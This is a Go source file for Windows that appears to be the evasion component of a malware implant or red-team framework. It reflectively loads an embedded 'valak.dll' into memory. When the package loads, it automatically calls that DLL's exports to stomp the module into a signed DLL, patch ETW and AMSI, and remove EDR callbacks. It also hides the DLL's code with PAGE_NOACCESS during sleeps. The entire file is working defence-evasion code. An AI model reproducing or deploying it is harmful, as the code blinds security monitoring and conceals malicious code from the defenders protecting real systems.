//go:build evasion && windows

// 1. Load the embedded valak.dll binary data.
// 2. If the data is empty, return false.
// 3. Validate DOS and NT PE headers.
// 5. Allocate the readWrite (RW) memory for the DLL. VirtualAlloc(0) = put it anywhere.
// 6. Copy PE headers into allocated memory.
// 7. Copy each section from raw bytes to its virtual address.
// 8. Apply base relocations if the DLL didn't load at its preferred address.
// 9. Resolve imports (fill IAT — kernel32, ntdll, etc).
// 10. Find .text section bounds (needed by EvasionSleep).
// 11. Set memory protections on each section (.text=RX, .data=RW).
// 12. Resolve exports (find function addresses in the export table).
// 13. Call DllMain(DLL_PROCESS_ATTACH) — Zig CRT startup.
// 14. Call init_evasion() — scan ntdll for syscall gadgets.
// 15. Set dllLoaded=true and return.
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
// 17. init() — spawns goroutine, calls DLL loader, runs stomp→ETW→AMSI→EDR in order.

package core

import (
	"encoding/binary"
	"log"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

var (
	valakBase             uintptr
	dllTextStart           uintptr
	dllTextSize            uintptr
	dllLoaded              bool
	procInit               uintptr
	procPatchETW           uintptr
	procPatchAMSI          uintptr
	procRemoveEDRCallbacks uintptr
	procStompEvasion       uintptr
	procIsRelocated        uintptr
)

const (
	imageDosSignature   = 0x5A4D
	imageNTSignature    = 0x00004550
	imageDirEntryExport = 0
	memCommit           = 0x00001000
	memReserve          = 0x00002000
	pageReadwrite       = 0x04
	pageExecuteRead     = 0x20
	pageExecReadwrite   = 0x40
	dllProcessAttach    = 1
)

func loadValakDLLReflective() bool {
	data := valakDLLBin // 1
	if len(data) == 0 {
		return false // 2
	}

	dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) // → start 3
	if dosHeader.E_magic != imageDosSignature {
		return false
	}

	ntOffset := dosHeader.E_lfanew
	ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
	if ntHeader.Signature != imageNTSignature {
		return false
	}

	imageBase := ntHeader.OptionalHeader.ImageBase
	sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
	sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) // ← end 4

	// always allocate anywhere, always apply relocs. High x64 image bases
	// (0x180000000+) can fail silently on VMs and EDR-protected systems.
	base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) // → start 5
	if err != nil {
		return false
	}
	valakBase = base // ← end 5

	copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) // 6

	sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
	sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) // → start 7
	for i := range sections {
		sec := &sections[i]
		if sec.SizeOfRawData == 0 {
			continue
		}
		dst := base + uintptr(sec.VirtualAddress)
		if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
			continue
		}
		srcOff := uintptr(sec.PointerToRawData)
		if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
			continue
		}
		copy(unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData))
	} // ← end 7

	delta := int64(base) - int64(imageBase) // → start 8
	if delta != 0 {
		applyRelocations(data, base, delta, ntHeader)
	} // ← end 8
	resolveImports(data, base, ntHeader) // 9
	for i := range sections {            // → start 10
		if sections[i].Name[0] == '.' && sections[i].Name[1] == 't' && sections[i].Name[2] == 'e' && sections[i].Name[3] == 'x' && sections[i].Name[4] == 't' {
			dllTextStart = base + uintptr(sections[i].VirtualAddress)
			dllTextSize = uintptr(sections[i].VirtualSize)
			break
		}
	} // ← end 10
	for i := range sections { // → start 11
		sec := &sections[i]
		if sec.VirtualAddress == 0 {
			continue
		}
		addr := base + uintptr(sec.VirtualAddress)
		prot := sectionProtect(sec.Characteristics)
		var old uint32
		windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
	} // ← end 11
	resolveExports(data, base, ntHeader) // 12
	entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
	if entry != base { // → start 13
		syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
	} // ← end 13

	if procInit != 0 { // → start 14
		syscall.SyscallN(procInit)
	} // ← end 14

	log.Printf("[evasion] valak.dll reflectively loaded (%d bytes)", len(data))
	dllLoaded = true // 15
	return true
}

type imageDOSHeader struct {
	E_magic  uint16
	_        [58]byte
	E_lfanew uint32
}

type imageFileHeader struct {
	_                    [2]byte
	NumberOfSections     uint16
	_                    [12]byte
	SizeOfOptionalHeader uint16
	_                    [2]byte
}

type imageDataDirectory struct {
	VirtualAddress uint32
	Size           uint32
}

type imageOptionalHeader64 struct {
	_                   [16]byte
	AddressOfEntryPoint uint32
	BaseOfCode          uint32
	ImageBase           uint64
	SectionAlignment    uint32
	FileAlignment       uint32
	_                   [16]byte
	SizeOfImage         uint32
	SizeOfHeaders       uint32
	_                   [48]byte
	DataDirectory       [16]imageDataDirectory
}

type imageNTHeaders64 struct {
	Signature      uint32
	FileHeader     imageFileHeader
	OptionalHeader imageOptionalHeader64
}

type imageSectionHeader struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}

type imageExportDirectory struct {
	_                     [12]byte
	_                     [4]byte
	_                     [4]byte
	NumberOfFunctions     uint32
	NumberOfNames         uint32
	AddressOfFunctions    uint32
	AddressOfNames        uint32
	AddressOfNameOrdinals uint32
}

// Characteristics is at offset 36 in IMAGE_SECTION_HEADER.
// IMAGE_SCN_MEM_EXECUTE=0x20000000, IMAGE_SCN_MEM_READ=0x40000000, IMAGE_SCN_MEM_WRITE=0x80000000
func sectionProtect(chars uint32) uint32 {

	switch {
	case chars&0x20000000 != 0 && chars&0x80000000 != 0:
		return pageExecReadwrite
	case chars&0x20000000 != 0:
		return pageExecuteRead
	case chars&0x80000000 != 0:
		return pageReadwrite
	default:
		return pageReadwrite
	}
}

func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
	relocDir := ntHeader.OptionalHeader.DataDirectory[5] // IMAGE_DIRECTORY_ENTRY_BASERELOC
	if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
		return
	}
	relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
	off := uintptr(0)
	for off < uintptr(relocDir.Size) {
		blockVA := binary.LittleEndian.Uint32(relocData[off:])
		blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
		if blockSize == 0 {
			break
		}
		entries := (blockSize - 8) / 2
		for e := uint32(0); e < entries; e++ {
			entryOff := off + 8 + uintptr(e*2)
			entry := binary.LittleEndian.Uint16(relocData[entryOff:])
			relocType := entry >> 12
			relocOff := entry & 0xFFF
			if relocType == 0 {
				continue
			}
			addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
			if relocType == 10 {
				val := (*uint64)(addr)
				*val = uint64(int64(*val) + delta)
			}
		}
		off += uintptr(blockSize)
	}
}

func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
	exportDir := ntHeader.OptionalHeader.DataDirectory[imageDirEntryExport]
	if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
		return
	}
	exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
	names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
	funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
	ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)

	lookup := func(name string) uintptr {
		for i := uint32(0); i < exp.NumberOfNames; i++ {
			fnName := goString(base + uintptr(names[i]))
			if fnName == name {
				if uint32(ords[i]) < exp.NumberOfFunctions {
					return base + uintptr(funcs[ords[i]])
				}
			}
		}
		return 0
	}
	procInit = lookup("init_evasion")
	procPatchETW = lookup("patch_etw")
	procPatchAMSI = lookup("patch_amsi")
	procRemoveEDRCallbacks = lookup("remove_edr_callbacks")
	procStompEvasion = lookup("stomp_evasion")
	procIsRelocated = lookup("is_relocated")
}

type imageImportDescriptor struct {
	OriginalFirstThunk uint32
	_                  uint32 // TimeDateStamp
	_                  uint32 // ForwarderChain
	Name               uint32
	FirstThunk         uint32
}

func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
	importDir := ntHeader.OptionalHeader.DataDirectory[1] // IMAGE_DIRECTORY_ENTRY_IMPORT
	if importDir.VirtualAddress == 0 || importDir.Size == 0 {
		return
	}

	modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
	procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
	procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
	procGetProcAddress := modKernel32.NewProc("GetProcAddress")

	desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
	descSize := uintptr(unsafe.Sizeof(*desc))
	for desc.Name != 0 {
		dllName := goString(base + uintptr(desc.Name))

		hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
		if hMod == 0 {
			hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
		}
		if hMod == 0 {
			desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
			continue
		}

		thunkRVA := desc.OriginalFirstThunk
		if thunkRVA == 0 {
			thunkRVA = desc.FirstThunk
		}

		thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
		iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
		step := uintptr(8)

		for *thunk != 0 {
			var fnAddr uintptr
			if *thunk&(1<<63) != 0 {
				ordinal := uintptr(*thunk & 0xFFFF)
				fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
			} else {
				nameRVA := uint32(*thunk & 0x7FFFFFFF)
				fnName := goString(base + uintptr(nameRVA) + 2)
				fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
			}
			*iat = uint64(fnAddr)

			thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
			iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
		}

		desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
	}
}

func goString(addr uintptr) string {
	s := unsafe.String((*byte)(unsafe.Pointer(addr)), 256)
	for j := 0; j < len(s); j++ {
		if s[j] == 0 {
			return s[:j]
		}
	}
	return s
}

// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
func EvasionSleep(d time.Duration) {
	if dllLoaded && dllTextStart != 0 {
		var old uint32
		windows.VirtualProtect(dllTextStart, dllTextSize, windows.PAGE_NOACCESS, &old) // make .text unreadable
		time.Sleep(d)                                                                  // sleep from Go binary, not DLL
		windows.VirtualProtect(dllTextStart, dllTextSize, old, &old)                    // restore
		return
	}
	time.Sleep(d) // fallback: plain sleep, no obfuscation
}

// 17. init() — called automatically by Go when package loads. Spawns goroutine that loads
// the DLL and calls each evasion function in order: stomp → ETW → AMSI → EDR.
func init() {
	go func() { // → start 17
		if loadValakDLLReflective() {
			if procStompEvasion != 0 { // stomp first — hides module in signed DLL
				syscall.SyscallN(procStompEvasion, valakBase)
				if procIsRelocated != 0 {
					r, _, _ := syscall.SyscallN(procIsRelocated)
					if r != 0 {
						log.Printf("[evasion] module stomped into signed DLL | base: 0x%x", valakBase)
					}
				}
			}
			if procPatchETW != 0 {
				syscall.SyscallN(procPatchETW)
				log.Printf("[evasion] ETW patched")
			}
			if procPatchAMSI != 0 {
				syscall.SyscallN(procPatchAMSI)
				log.Printf("[evasion] AMSI patched")
			}
			if procRemoveEDRCallbacks != 0 {
				syscall.SyscallN(procRemoveEDRCallbacks)
				log.Printf("[evasion] EDR callbacks removed")
			}
		}
	}() // ← end 17
}

// no package-level lazy procs, all resolved locally in resolveImports